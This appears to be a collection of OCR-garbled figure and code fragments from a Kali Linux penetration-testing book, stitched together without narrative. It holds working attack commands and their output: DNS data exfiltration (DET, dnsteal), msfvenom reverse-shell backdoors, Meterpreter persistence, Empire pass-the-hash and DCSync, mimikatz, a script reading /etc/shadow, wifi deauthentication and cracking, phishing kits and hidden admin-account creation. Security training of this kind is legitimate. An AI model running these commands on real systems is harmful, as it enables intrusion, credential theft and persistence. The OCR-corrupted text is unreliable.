afp-showmount..nse
ajp-auth.nse
ajp-brute.nse
ajp-headers.nse
ajp-methods.nse
ajp-request.nse
allseeingeye-info.nse
amqp-info.nse
asn-query .nse
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Ast.txt; s=4;b=57;0m0; for r in §(for i in §(gzip —c $£| basebd -w0 |
sed "s/.\{$b\}/&\n/g");do if [[ "$c" -1t "$s" ]]; then echo -ne "$i-.";
c=§(($c+1)); else ech £4; done ); do dig @192.168.1.108
acho -ne $r$f|tr "+"
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git clone https://github.com/:
ed DET

Pip install -r requirements.txt
Python det.py

nsepost/DET.git
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# 1f you need "ssl: true® make sure you start msfrpod with "SSLy", like:

: "127.0.0.17
L url: "autopun®
auto_msfrpod: false
auto_mafrpod_timeout: 120
mt_path: [
(05 osx', path: */opt/local/mst/'),
{os: 'livecd!, path: '/opt/metasploit-framework/'),
{os: 'btsrar, path: */opt/metasploit/ms3/'),
{os: 'BtS!, path: '/opt/framework3/mst3/'),
{os: *backbox!, path: '/opt/backbox/mst/'},
{os: 'kali', path: '/ust/shave/metasploit-framework/'),

{os: 'pentoo’, path: '/usr/lib/metasploit'),
{os: 'win', path: 'c:\\metasploit-framework\\'),
(os: *custom', path: '}
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crackmapexec smb 192.168.0.115 -u vagrant -d local -H
aad3b435b51404eeaad3ba3shs1404ee: e02bc503339d51£71d913¢ 245d35b50b —
mimikats
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> use auxiliary/scanner/snmp/snmp_enum
Just auxi1iary (scanner/snmp/ snmp_onum) > sot hosts 192.168.0.115
Fhosts = 152.168.0.115

fnst auxi1iary (scanner/snap/snmp_enum) > run

[+] 192.168.0.115, Connected.
(4] systea informatio

ost. 1 192.168.0.115
iostname metasploitabled-winZki. Mastering. kali. thirdedition
pescription Hardvare: Intel6d Family 6 Model 142 Stepping 9 AT/
fon 6.1 (Buila 7601 Muttiprocessor Free)

contact

Location

opt imo. snmp 00:06:50.20

opt ino 00:01:37.88

systen date 2019-1-20 09:13:20.3

(41 vser accounts:

ssha”]
o5t°]
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meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
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use auxiliary/scanner/netbios/nbname
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(Kmpire: GZIHNWEL) > pth 1
(] Tasked GZLANWEL to run TASK CMD_JOB

[*] Agent GZIHNWEL tasked with Task ID 13

[*] Tasked agent GZIHNWEL to run module powershell/credentials/mimikatz/pth
(Kmpire: GZIHNWEL) > (] Agent GZIHNWEL returned results.

Job started: RDIYLG

(*] Valid results returned by 192.168.0.115

[*] Agent GZIHNWEL returned results

Hostname: METASPLOITABLES / S-1-5-21-2096000945-2044036275-3805921437

4444, mimikatz 2.1.1 (x64) built on Nov 12 2017 15:32:00
#0° 0. A la Vie, A L'Amour® - (0e.co)

# 7\ #8 /*** Benjamin DELPY “gentilkiwi’ ( benjaminégentilkiui.con )
HAVAT > nttp: //blog.genti1Kivi . con/minikat z

e vincent L TOUX ( vincent. letouxégmail.con )
e > nttp://pingcastle.con / http://mysmartlogon.com 4%/

mimikatz (poworshell) 4 sekurlsa::pth /user:admin /domain:MASTERING /ntlm:e0fdac
user admin
domain : MASTERING
program : cmd.exe
impers. : no
LM ©0rdte24co3cc21 ccetbed6o23919a5
P 5564
D 5304
1SA Process is now R/W
LUID 0 ; 840557 (00000000:000¢d395)
msvl 0 - data copy 8 000000000OD7EF10 :
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root@kali:~# ifconfig wlan0 up
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meterpreter > timestomp README.txt -v
2017-06-14 08:19:23 -0400
2017-06-14 08:19:23 -0400

2017-06-14 08:19:23 -0400
Entry Modified: 2017-06-14 08:19:23 -0400
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msfvenom -p windows/meterpreter/reverse_tcp -k -x original file.exe
LHOST=[YOUR_IP] LPORT=[PORT] -f exe -o clone_file.exe
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‘Options controling SSH port forwarding

Portforwardng
Local ports accept connections from other hosts
[l Remote ports do the same (SSH-2 oniy)

Forwarded pors:

08090
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(Kapiro: JXHAAPY) > usemodulo 5ituational_avarnoss/notvork/powrvicw/got. domain controller
(Rmpire: povershell/situat bonal. auarencss/mtuork/podteyics/get domain. CoEro1ler] > sxacits
[+1"Taskets SOALWPY €0 run TASKCHD. 308

[+] Agent HONLAPY tasked vith Eask 10 2

[+] Tasked agent TOGUAFY Lo fun module povershell/situational avareness/netuork/poverview/qet
(kmpira: poveraell/s|tuat Lonal auareness/meruork/povervion/get omain. contro1len) > (11 Agont
{*] Valia results returned by 192.168.0.115

(%] Agent S0GLNPY roturncd results.

sorest Mastering.xall.thicdedition
Correntrime 17172018 '2:56:03 an
Righost committodisn e

Rota [5chomanole, Namingrole, Mckole, RIdROLo. .

bomain Mastoring. ka1 thirdedition

Tinddross 152.160.0.101

Sitonam Dotault ¥irst-sito Namo

o P —

Iihounaconnections 0

outboundconnactions 0

Namo WIN-3U%00071D8E Mastering. Kal . thirdodition

artitions [DC-Mastering, be-kai, DC-ihi raeds 1o,
u-Confguration, DC-Kastor g, DC-Kal ), DC-thi rdoditon,
Ch-Schona, Ci-Conf Lgurat 10n, DC-Mastor g, DC-Kal1, DC-thixdedi tion,
DC-Dom s onas, DC-Hastar L1, Do-KaL L, PO-thi rdedition, -]
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[pqditional Tasks Selection

You have selected the following installation location:
/opt/rapid7/nexpose

[You have selected the following component(s) to install:
[security console, Scan Engine

You have entered the following contact information
vijay velu, cyberhia

ou nave created the following user name:
vijay

[select any aaditional installation tasks.
Initialize and start after installation?
Iyl, No [n, Enter]

Extracting files.

Extracting files...
plugins/java/1/Gentookinuxscanner/1/110n-ja-jp.jar
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Zootikalii-§ casdh
cmed > hosts.

Hostrp Admins

1 2 croats)
R

Croams Aduin on

1 1 ost (s)
2 1 nost )
14913c2450350500

™

192.160.0.115  MEmsTLoTmAmLES

Tocal

metasploitables

‘aaainaasns104ee
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meterpreter > run winenum
Running Windows Local knumeration Meterpreter Script

New session on 192.168.0.115:445.

saving general report to /root/.msf4/10gs/scripts/winenun/Me

=1
]
*]
txt
1]
]
1*]
1*]
1]
1]
*]
1]
]
]
1*]
*]
1*]
*]

1]
]
*]
1
]
*1
1*]
1]
1*]

1*]

Output. of each individual command is saved to /root/.msfd/lo
Checking if METASPLOITABLE3 is a Virtual Machine ....
UAC is Disabled
Running Command List ..
running command arp -a
running command ipconfig /displaydns
running command route print
running command netstat -nao
running command netstat vb
running command net view
running command netstat —ns
running command cmd.exe /c sef
running command ipconfig /all
running command net accounts
running command net group administrators
running command netsh firewall show config
running command net user
running command net localgroup administrators
running command tasklist /sve
running command net session
running command net: group
running command net share
running command net view /domain
running command net localgroup
running command cscript /nologo winm get winrm/config
running command gpresult /SCOPE COMPUTER /%
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Bt exploit (malti/script/web_delivery) > show options
Module options (ssplodt/milLi/acript/voh dolivory)
Name  Carcont Setting Required Duscription
wronr 1080 The local port to listen on

seicort Fath o' custon S5l certificate (ofault 13 randomly gener

Payload options (vindows/meterproter/ceverse Mp)

scrmvG process o5 Bt technique (hccopted: 17, soh, thread, process, nane)
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pis

cun post/windows gather!
cachedump
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fun use post/windows
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dpkg-reconfigure openssh-server
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i 1111 Blapsod: 1 min 11 2019-01-11 08:35 ]{ WEA handshake: FO:7D:60:44:61:EA

Bsstn PR RXQ Boacons  #Data, #/5 CH MB ENC CIPHRR AUTH KSSID

FO:7D:68:44:618A 685 18249 230 11 130 WA2 COMP  PSK Cyber lab

BSSID PR Rate  Lost  Frames Probe

FOL7D:68:44:61 KA 0e 1672
¥0:7D de 13357
¥0:7 150 de 1606
FOITDI60:44:61:KA DC:A9:04:70:29:18 oe 2097
FOLTD:60:44:61:KA 00:K9:FE: 60:C4:03 oo 367
FOL7D: 66144161 KA o 02






OEBPS/Images/10t36.jpg
D225r200

" Gacecant

aB0acte
g36a07C
B2seroen
s3seeras
55300003
50000000

srassrer

€5 ooze
& 8655
£ Ba%8
BS oot
FS gos
&5 baze

Laserr
oo010246

ery
oy
nory
ery

‘AScIl

fsci1

E
20
i
E
it
E it

TTRUI 1, t/R80A31A820 83 84R SSRSGAST ASEASIRLORDIROZRESFLAASH

"BCoSCoAC 1 CR2CRaCRACESCRECHTCEE0R3Ca0CaI CazastadCasCastar]

OUFFFFFFFE)
BUEFEFFFFF)
BUEFEFEEER)
SUFFFFEFER)
PEFDRBRO(FEF)
GUPEFRFFE)

ERROR_SUCCESS (09000060)
(10,18, E. €, 15, PE, GE, LE)

B27F Prec NEAR,53 Mask






OEBPS/Images/11t7.jpg
meterpreter > impersonate token “NT AUTHORTTY\\SYSTEM"

[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
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| & Notsecue | hpe/192.1680245834/4/
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#1/usr/bin/lua
local file - io.open("/etc/shadow®, "r")
contents - file:read()

file:close()

print (contents)
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EOOERSWAL MW A A8
abcdefghi jklmnopqrstuvwxyzABCDEFGHIIKLMNOPQRSTUVWXYZ0123456789 | aircrack-
ng --bssid (MAC address) -w /root/Desktop/wifi/nameofthewifi.cap
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script-updatedb
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£st (D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 Info Disclosure) > set port 50

[+] port = 8o
£st (D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 Info Disclosure) > run

[+] Running module

[4] Credentials found:

Login  password

adnin  Letneiniel
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root@kali:~# aircrack-ng /root/Desktop/wifi/nameofthewifi.cap -J <output
file>
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4 Hard Disk Drives (1)
Local Disk (C:)

—

41.4 GB free of 59.9 GB

4 Devices with Removable Storage (1)

5 DWD Drive (D:)

4 Network Location (3)
users (\\192.168.0.119) (<)

3 41.4 GB free of 59.9 GB

C$ (\\192.168.0.166) (Z)

- 000 )

., 42.2GB free of 53.9 GB
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net.sniff on
set https.proxy.sslstrip true
https.proxy on

arp.spoof on
hstshijack/hstshijack
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[rootekali:~g clmod 400 Masteringkali3.pem
[rootekalii~g ssh -1 Masteringmali.pen ecz-userteca-5:
rinu xa1s 4.17.0-

inet 172,31.24.20 matmask 255.255.240.0 broadcast 172.31.31.255
inote £oB0:iced:OLrE:fa19:321c profixien 64 scopeid 0x20CLim>
ethex Oo:e8:9r:19:32:1c txqueselen 1000 (Ethernet)

RX packats 221 bytes 27819 (27.1 KiB)

BX axrors 0 dropped 0 overruns 0 frame 0

X packats 266 bytes 31157 (30.4 KiB)

X axrors 0 dropped 0 overruns 0 carrier 0 collisions 0

o £1ag5=73um, rooPmack, mrerne> mtu 65536
‘inet 127.0.0.1 etmask 255.0.0.0
inets 11 prefixien 128 scopeid Oxi0dhost>
loop txquetelen 1000 (Local Loopback)
Rx packats 4 bytes 156 (156.0 B)
BE errors 0 dropped 0 overruns 0 frams 0
Tx packets 4 bytas 156 (156.0 B)
X axrors 0 dropped 0 overruns 0 carrler 0 collisions 0
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set:payloads> Port to comnect back on [443]
T°1 ALL good! he directories wers created.

(-] Generating fileformat exploit..

o] for payload generation (be patient, B1t)

o] for payload generation (be patient, bit)

I for payload generation (be patient, i)

o for payload generation (e patient, bit)

o] for payload generation (e patient, bit)

1 creation complote.

[*] AL1 paylosds get sent to the template.pdf directory

[] If you are using GUATL - you will need to need to create an application passwor
answex/60102557h1=un

{-] A2 an added bonus, use the file-format creator in SEF to create your attachment.

Right now the attachment will be imported with filename of 'template.whatever'
Do you want to rename the file?
example Eater the new filensme: moo.pdf

1. Keep the filenams, T don't care.
2. Rename the fils, I want to be cool.
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root@kali:/usr/share/metasploit-framework/tools/exploit# ruby exe2vba.rb
~/attack ttack.vbs
[*] Converted 20254 bytes of EXE into a VBA script
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STRING: "Vyatta Vy0S 1.1.6"
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STRING: "root"
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meterpreter> execute -H -m -d calc.exe -f <memory
executable + parameters>
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(3 bitnami for XAMPP

Bitnami for XAMPP provides free installers that can install
Drupal, Joomlal, WordPress and many other popular open source
apps on top of your existing XAMPP installation.

e COLO0

Unpading files.

XAMPP Installer
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(Empire: powershell/persistence/elevated/schtasks) > set Listener http
(Empire: powershell/persistence/elevated/schtasks) > execute
[>] Module is not opsec safe, run? [y/N] y

(Bmpire: powershell/persistence/elevated/schtasks) >
Jsuccess: The scheduled task "Updater" has successfully been created.
[schtasks persistence established using listener http stored in EKIM:\S

rigger at 09:00.
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[zecon-ng v4.9.3, Tin Tomes ($LaNMasteRs3)]

(751 Becon modules
(8] eporting modules
(2] 1mport modules

[2] Exploitation modules
(2] Discovery modules

(rocon-ng) [defauit] >
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erasveludtracert demo.cyberhia.con

rracing route to demo.cyberhia.con (166.62.126.1691
Jover & 'maxinun of 38

15w dm 3w 12600
Jo:uceretuerustracert ww.google.con

rracing route to wm.google.con [216.58.198.2261
Jouer & maxinun of 38 hope:

2 m e 192.168.9.1
Reqiest tined out.
e Drnt-cors-2h-xe-981-0.netuork.virginnedia.net (6

Request tined o
Redusst ¢ined o
eitlous-tomi aed-.notwork virginnedia.net [62.)

6-14-250-212 stat ic.uirginn.net (212.250.14.61
Hoquest tined out-

.58.198.2201






OEBPS/Images/11b3.jpg
=3

it

et userattacker password / add nt user
estuser tespassword /ADD DOMAIN

M aacker fF0/1F . GIfE—TASI, UL password fF 65, 5
TEMRIHAZ i S WA IR P4

et localgroup administrators attacker /
add

B avackee FAJGT AL (EAAR B, 32102 A et
localgroup adrminisraors /add tacker

et user username lctive:yes domsain

H— AT A P RO (e— /MBS
IR R TR AR, AT 30% 090 S AN RS
B, BEL ORI

e share nameS=C: | grantattacker,
FULL unlimited

P C AL (RIUBAFZED, (UL H— - Windows JEFE, W F aacker
P D LA L






OEBPS/Images/139-2-i.jpg
root@kali:~# aireplay-ng -0 10 -a <BSSID> -c <STATION ID> wlanOmon
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[4] Pross [tab) to list available payloads

[>] Please enter metasploit paylosd: windows/meterprater/raverse https

[>] Enter value for 'Liose:,' [tab] for local Ip: 192.168.1-17
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rootékali:/usr/share/metasploit-framework/tools/exploit ./pattern create.rb -1 4000
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nikto.pl -host target.com -Plugins
"apacheusers (enumerate, dictionary:users. txt) ;report_xml" -output
apacheusers. xnl
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git clone https://github.com/m57/dnsteal/
cd dnsteal
python dnsteal.py 192.168.1.104

2 -s 4 -b 57 ~£ 17
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aireplay-ng -0 10 -a ¥0:7D:60:44:61:EA — DC:A9:04:78:29:1B wlanOmon
Waiting for beacon frame (RSSTD KA) on channel 11

Sending 64 directed DeAuth (codo 7). STHAC: 142177 Acxs]
Sending 64 dirocted DeAuth (code 7). STHAC: {10110 ACKs)
Sending 64 directed DeAuth (codo {13168 AcKs]
Sending Douth (code 115171 AcKs]

(code 119179
sending (codo 7). 5 17
sending (codo 7). 5 4172
directed (codo [DC:R9:04 (13166
directed (codo [DC:R9:04 (46199
Sending 64 directed (code {7173
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git clone https://github.com/EmpireProject/Empire
cd Empire/

cd setup

./install.sh
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127.0.0.1

[EJUse the same proxy server for all protocols

Exceptions
Do not use proxy server for addresses beginning with:
£

Use semicolons ( ;) to separate entries.
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(Empire: GZIHNWEL) > steal token 5504
[*] Tasked GZLHNWEL to run TASK CMD_WATT

[*] Agent GZIHNWEL tasked with task ID 14

[*] Tasked agent GZIHNWEL to run module powershell/credentials/
[*] Tasked GZIHNWEL to run TASK_SYSINFO

[*] Agent GZIHNWEL tasked with task ID 15

(Empire: GZIHNWEL) > sysinfo: 0[http://192.168.0.24:80 |MASTERIN
Iver 2008 R2 Standard |True|powershell|5860|powershell|s

[*] Agent GZIHNWEL returned results.

error running command: A token belonging to Processid 5584 coul
protected process and cannot be opened.

Listener: http://192.168.0.24:80

Internal IP:  192.168.0.115

Username: MAS TEM

Hostname: METASPLOITABLE3

0s Microsoft Windows Server 2008 R2 Standard
High Tntegrity: 1

Process Name: powershell

Process 1D: 5860

Language: powershell

Language Version: 5
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root@kali:~# aircrack-ng -w passwordlist -b BSSID /root/Output.cap
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GOT A HIT! Printing the output:
Usd=AVrHITSO
: display=
enable_profile_selector=
: isprivate=
legacy_return=0
profile_selector ids=
return sessior
IPOSSIBLE USERNAME FIELD FOUND: skip_api_login=
signed_next=
trynun=1
tinezone=-480
gndim=eyJ3J0x0TTwLCIOT{ oxMDGWLCIndy T6HTKyMCWi YW10] EWNDAS 10§ 16 Q==
lgnrnd=225344 Ayzh
1gn}5=1497765243
POSSIBLE USERNAYE FIELD FOUND: email=vijayk
POSSIBLE PASSWORD FIELD FOUND: pass=velu
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
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root@kali:/usr/share/metasploit-framework/tools/exploit#
-/pattern_offset.rb -q 0x6F43376F -1 4000
[*] Exact match at offset 2002
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(Rmpire: listeners/http) > [*] Sending POWERSHELL stager (stage 1) to 192.168.0.115
(%] New agent CPGFL3XS checked in

{+] Initial agent CPGFLIXS from 192.16.0.115 now active (Slack)
[*] Sending agent (stage 2) to CPGFLIXS at 192.168.0.115
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Version 10-0.10550
(c) 2015 microsoft Corporation. ATl rights reserved

\Hackerbox>docker_pul] kalilinux/kali-1inux-docker
using default tag: latest
latest: pulling fron kalilinux/kali-1inux-docker
b2860ards31e: Pull complete
pull complete
pull complete
Pull complete
[e5b4b7133863: pull complete
[45¢74187920d: pull complete
[6e61dde25369: pull complete
96ddo3daozc: pull complete
[dac36abaobod: pull complete
[coB0ef1373da: pull complete
361c33ef5cas: pull complete
¢ cha256:b89eSle0e08chcfalacchB23522beess6fadhs0BILFFF27F1d56292e7667dcc
: Downloaded newer image for kalilinux/kali-1inux-docker: latest

c: \nackerbox>
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> listeners
> uselistener http

> set name AwsCloud

> set host vulnerable.host.com:80
> set defaultprofile

/admin/get .php, /news .php, /1ogin/process .php|mozilla/s.0 (windows nt
6.1; wowd; trident/7.0;rv:11.0) like gecko|
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meterpreter > use incognito

Loading extension incognito...Success.
meterpreter > list tokens -u

Delegation Tokens Available

METASPLOITABLE3\sshd_server
METASPLOITABLE3\vagrant

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available

NT AUTHORITY\ANONYMOUS LOGON
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rootikali:~# hpingd -8 demo.cyberhia.com -p 80 ¢ 3
210G domo._cyboriia. com (atho 166.62.126.169): S sat, 40 headars + 0 data bytes

Lon~46 1p-166.62.126.169 t11-44 DF 1d-0 sport-80 f1age-6A seq-0 win-19600 rt-349.9 ms
Lon-i6 1p-166.62.126 169 L1-45 DF 14-0 sport-80 Flags—5A med-1 win-14600 rtt-223.1 ms
Lan-16 1p-166.62.126.169 LL1-44 DY 14-0 5port-80 flage-SA seq-2 win-14600 rtt-300.8 ms

domo cyborhia.com hping statistic
s packata Lransmitted, 5 packats roceived, 0% packet loss
a-teip minfava/mes = 223.1/291,5/345.% me
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msfvenom -& x86 —-platform Windows -p windows/meterpreter/rever:
1host=<VULNERABLEHOST> lport=443 httphosthea
e x86/shikata_ga_nai -i 8 raw | msfvenom
x86/countdown —1 8 -£ raw | msfvenom -a xB6
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root@kali:~# re

wer -i wlan0 -b (BBSID) -vv
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C:\windows\system32>netsh advfirewall firewall show rule
evchostpassthrough”
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[recon-ng (default] > load recon/profiles-profiles/profiler
(recon-og] ldetauit] (peofiler] > show optioas

[y source of taput (see 'show tats

(xecon-ng) deault] (proiler] > set SOURCE cyberhia.com
[sounce = cyvernta. con
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nmap -sP -PT 80 IPrange
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root@kali:~# python crash.py
lenter the IP to crash:192.168.0.119

Welcome to Vulnerable Server! Enter HELP for help.

server dead
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Select an existing key pair or create a new key pair x

A key pair consists of a public key that AWS stores, and a private key file that you store. Together, they
allow you to connect 1o your instance securely. For Windows AMIs, the private key file is required to
‘obtain the password used 10 log nto your instance. For Linux AMs, the privale key fie allows you to
Securely SSH into your nstance.

Note: The selected key pair will be added to the set of keys authorized for Iis nstance. Learn more.
about removing exsting key pairs rom a publc AMI

[Create anew key par gl
Key pair name

[Masteringiats ]
'Download Key Pair

tin a secure and accessible location. You wil not be able 1o download the fle.
‘again after Is created.

‘ @ Yo ave o cowniond e privat Ky i (e ) before you ca contue. Sore

(SN Launch instances
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root@kali:/Nessusé dpkg —i Nessus-8.1.2-debiané amd6d.deb.
selccting previously unselected package nes

(Reading database ... 449273 files and directories currently installed.)
Preparing to unpack Nessus-8.1.2-debiané amd6d.deb ...

unpacking nessus (8.1.2) .

setting up nessus (8.1.2)

unpacking Nessus Scanner Core Components.

You can start Nessus Scanner by typing /etc/init.d/ne:
Then go to https://kali:8834/ to configure your scanner

processing triggers for systemd (239-15) ...
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C: \Windows\systend2>at 12:51 /interactive cnd
Harning: Due to security enhancements, this task will run at the time
foxpected but not interactively

Use schtasks.exe utility if interactive task is reauired ('schtasks /2
for details)
[fdded a new job with job 10 = &
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set New filename:Payslip.pdf
T*] Filename changed, moving on.

Social Engineer Toolkit Mass E-Mailer

There are two options on the mass e-mailer, the first would

be to send an email to one individual person. The second option
will allow you to import a list and send it to as many people as
you want within that list.

What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer

99. Return to main menu.
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4 aireplay-ng -0 10 -a FO:7D:68:44:61:KA ~c DC:A9:04:78:29:1B wlanOmon
Waiting for beacon frame (BSSID: FO:TD:6D:44:61:EA) on channol 11
dizoctod Denuth (cods 7). STHAC: [DC:A9:04:70:29:18] (42177 ACKs]
diroctod Deauth (codo 7). STHAC: [DC:A9:04:70:29:18) (101105 ACKs)
Sonding 64 diroctod DeAuth (codo 7). STAC: [DC:AD:04:70:29:1p] (13160 ACKs]
Sending 64 dirocted Denuth (code 7). STAC: [DC:A9:04:70:2011B] (15171 ACKs]

Sonding 64 dirccted peauth (code 7). 78:29:18] (19179 ACKs)
Sending 64 dirocted beauth (code 7). [DC1A9:04:70:29: 18] (14171 ACKs)
Sending 64 directed DeAuth (code 7). [DC:A9:04:70:29:18] (14172 ACKs]
ending €4 directed Doauth (code 7). +70:29:18] (13166 ACKs)
Sonding 64 diroctod DeAuth (codo 7) 146199 aC
Sending 64 directed beauth (cods ) [DC+A9:04:70:29: 18] [ 7173
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ENMTDERANITE g
"http://192.168.0.101/mutillidae/index .php?page=user-info.phpeusername=spas
swordssuser-info-php-submit-button=ViewsAccount +Details” D mutillidae -
Cakias
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use auxiliary/server/browser_autopwn
SetLHOST 192.168.213.128

set PAYLOAD_WIN32

set PAYLOAD_JAVA

exploit

msfconsole -q -r beefexploit.rc
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[neterpreter > run persistence -U -i 5 -p 443 -r 192.168.0.109

[1] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
(1] Example: run post/windows/manage/persistence exe OPTION=value [...]

Running Persistence Script

Resource file for cleanup created at /root/.msf4/logs/persistence/VICTIM 20:
70610.4514/vICTIM 20170610.4514.7C

Creating Payload=windows/meterpreter/reverse_tcp LEOST=192.168.0.109 LEORT=
43

Persistent agent script is 99629 bytes long

Persistent Script written to C:\Windows\TEMP\eee0G0.vbs

Executing script C:\Windows\TEMP\eee0G.vbs
[+] Agent executed with PID 4016

Installing into autorun as HRCU\Software\Microsoft\Windows\Currentversion\R
o\ xswtsravvvoLs
[+] Installed into autorun as EKCU\Software\Microsoft\Windows\Currentversion\Rur
\xGautsravvvorts
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# nano /etc/network/interfaces
iface eth0 inet static
address <your address>
netmask <subnet mask>
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root@kali:~# aireplay-ng -0 0 -a (bssid) -c wlan0
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local http=require 'http'
description = [[ This is my custom discovery on the network ]
categories = {"safe","discovery"}
require ("http")
function portrule(host, port)
return port.number == 80
end

function action(host, port|
local response
response = http.get (host, port, "/config.php"
if response.status and response.status ~= 404
then
return "successful®
end
end
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STRING DUMYDUMMYDUMMYAVABYAGKAZABTAG4AdAAVADCALGAWAD!
STRING QBAC4ABYAFSAXQBAACQAYGAIACGAWWBDAGGAQQBSAFSAX(
STRING AUWBFAHIAdgBpAGMAZQBQAGBASQBUAHQATQBRAG4AQQBN/
STRING ARABFAEYAQQBIWABVAFIAJABLAFSAJABIACSAKWA]ACQA
STRING VADUALGAWACAAKABXAGKAbgBKAGBAATGBFAHQALgBXAGU;
STRING TgBRADAAPQBQAC4AZABaADTAeABXAFYAMWAKACCAOWAKAC
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msf > db_import /root/chapl0/Target.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.8.5'

[*] Importing host 192.168.0.16

[*]

Successfully imported /root/chapl0/Target.
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netsh advfirewall firewall set rule groups
ey
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host

:d29xbnhm7 £4mex . cloudfront .net
> execute

> launcher powershell
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néed o 344 NO_NEED, AUTHSLGAUTH GROUP=0 o query string for every action.

165.1.5:80/bsc.Lan.ho7M0 NEED_ AUTH=L6AUTH GROUP
168.1.8:80/b5¢ WLan php7HD. NEED. AUTHeLEAUTH GROUP=O

(0-Link DIR-300 6 DIR-320 & DIR-615 Auth Bypass) > run
Targer 15 vilnerabte

ples
68" 1.8:50/b5c Lan.pha 0 NEED. AUTHL6AUTH GROUP=0

FS1 (0-Link DIR-360 G DIR-326 & DIR-615 Auth Bypass) > show option

s Currentsettings  Description
P fatae S50 enabled: true/false

Trger 10216818 Target 1pus or 1Pve sddress
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meterpreter > shell
Process 784 created.

Channel 260 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved

C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Comnection 2:

Connection-specific DNS Suffix . : localdamain

Link-local IPv6 Address . . . . . : fe80::5c31:ceb:a751:9035%19
IPve Address. . . . . . . . . . 192.168.52.129

Subnet Mask . . . . . . .....:255255.255.0

Default Gateway . . . . . . . .. : 192.168.52.2

Ethernet adapter Local Area Comnection:

Connection-specific DNS Suffix .

Link-local IPv6 Rddress . . . . . : feB0::316d:613f:.
IPve Address. . . . . . .. ... :192.168.0.119
Subnet Mask . . . . . . 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.1
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(Bepire: powershell/credentiale/aiikats/deeync) > ot GmAiD mAstering.Xali.thirdedition
(Empire: powershell/credentials/aiaikats/dcsync) > set user krbtgt
(Empire: powershell/credentials/miatkats/dcsync) > run
(+] Tasked WIEXNIZ7 to run TASK QD _J0B
(*] Agent WaGKX1Z7 tasked with Task 1D 10
(4] Tasked agent WISKF1Z? to run module povershell/credentials/miaikats/dosync
(Empire: powershell/credentials/ainikats/dcsync) > [*] Agent WSEXYLZ) returmed results.
50 startea: somizr
[+ Valid zesults returned by 192.169.0.15
(] Agent WAGKX1Z7 returned reslts
5-21-2096000945-2044836275-3005521437

minikats 2.1.1 (x64) built on Nov 12 2017 15:32:00
“A 1a Vie, & LAmour - (oe.60)
‘Benjamin DELPY “gentilidwi® ( benjaminégentilkivi.com )
> HEtp://blog. gentilkiwi . con/miniXatz
Vincent 1 Toux ( vincent. letouségaail.com )
> hetp://pingoastie.con / hetp://mysmartiogon.con  *41/

aimixats (povershell) # Lsadump: :dosync /user:kebtgt /domainimastering.kali.thirdedition
(D) ‘mastoring.kali.thirdedition’ ¥ill be the domain

(DC) 'WIN-3UTGAJTIDEE. Mastering.¥ali. thirdedition’ will be the DC server

(DC) ‘kzbtgt: will be the user accoust
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usufy -n cyberhia
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while read r; do scriptname.sh $r; done < listofdomains
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e S P P e
Multi-Attack Web Attack Vector
o s a s a e s AR A AR AR AR AR AR AR AR AR AR AR R AR AR AR AR AR AR AR RRRRE]
The multi attack vector utilizes each combination of attacks
and allow the user to choose the method for the attack. Once
you select one of the attacks, it will be added to your
attack profile to be used to stage the attack vector. When
your finished be sure to select the 'I'm finished' option.

Select which attacks you want to use:

Java Applet Attack Method (OFF)
Metasploit Browser Exploit Method (OFF)
Credential Harvester Attack Method (OFF)
Tabnabbing Attack Method (OFF)

Web Jacking Attack Method (OFF)

Use them all - A.K.A. 'Tactical Nuke'

I'm finished and want to proceed with the attack

Return to Main Menu
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(Empire: agents) > interact CPGFL3XS
(Empire: CBGFL3XS) > sysinfo

[*] Tasked CPGFL3XS to run TASK_SYSINFO

[*] Agent CPGFL3XS tasked with task ID 1

(Kmpire: CPGFLIXS) > Sysinfo: OInttp://192.168.0.24:80 MKTASK
dows Server 2008 R2 Standard |True|powershell|936|powershell|
[*] Agent CPGFL3XS returned results.

Listener: http://192.168.0.24:80

Internal T 192.168.0.115

Username: METASPLOTTABLE3\vagrant

Hostname: METASPTOTTABLE3

os: Microsoft Windows Server 2008 R2 Standard
High Integrity: 1

Process Name: powershell

Process ID: 936

Language: powershell

Language Version: 5
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REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WinLogon\Spe
cialAccounts\UserList /V account_name /T REG_DWORD /D 0
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SSID =
Channel
Speed
BSSID

[2] Select your option

Cyber Lab / WPA2

=6

65 Mbps
B4:EF:FA:94:21:C5 ( )

[1] Web Interface

[2] Exit
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C:\windows\system32> shutdown /r /t 15
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chmod 600 privatekey.pem
ssh -i privatekey.pem ec2-user@amazon-dns-ip
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[*] Started ETTPS reverse handler on https://0.0.0.0:443

[*] Starting the payload handler...
mst exploit(handler) > [*] https://0.0.0.0:443 handling request

958531 bytes) ...
[*] Meterpreter session 1 opened (192.168.0.116:443 —> 192.168.0.
msf exploit(handler) > sessions

active sessions

14 Type
1 meterpreter x86/windows Victim\EISC @ VICTIM 192.168.0.1
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set:phishing>1

Do you want to use a predefined template or craft
a one time email template.

1. Pre-Defined Template
2. One-Time Use Email Template

set:phishing>1
Available templates:

: WOBAMA!!!II11111 This is crazy...
: Dan Brown's Angels & Demons

: Baby Pics

: New Update

: Computer Issue

: How long has it been?

: Order Confirmation

: Status Report

: Strange internmet usage from your computer
0: Have you seen this?
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C:\>netsh advFirewall firewall set rule group="windows remote management” new enabl

Updated 2 rule(s).
ok
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meterpreter > upload /root/chapll/agent.psl c:\windows\temp\

> Interrupt: use the 'exit! command to quit

meterpreter > upload /root/chapll/agent.psl c:/windows/temp/

[*] uploading : /root/chapll/agent.psl -> c:/windows/temp/

] uploaded : /root/chapll/agent.psl —> c:/windows/temp/\agent.psl

preter > shell

Beocess 5916 croton:

Channel 6 created.

Microsoft Windows [Version 6.1.76011

Copyright (c) 2009 Microsoft Corporation. AlL rights re

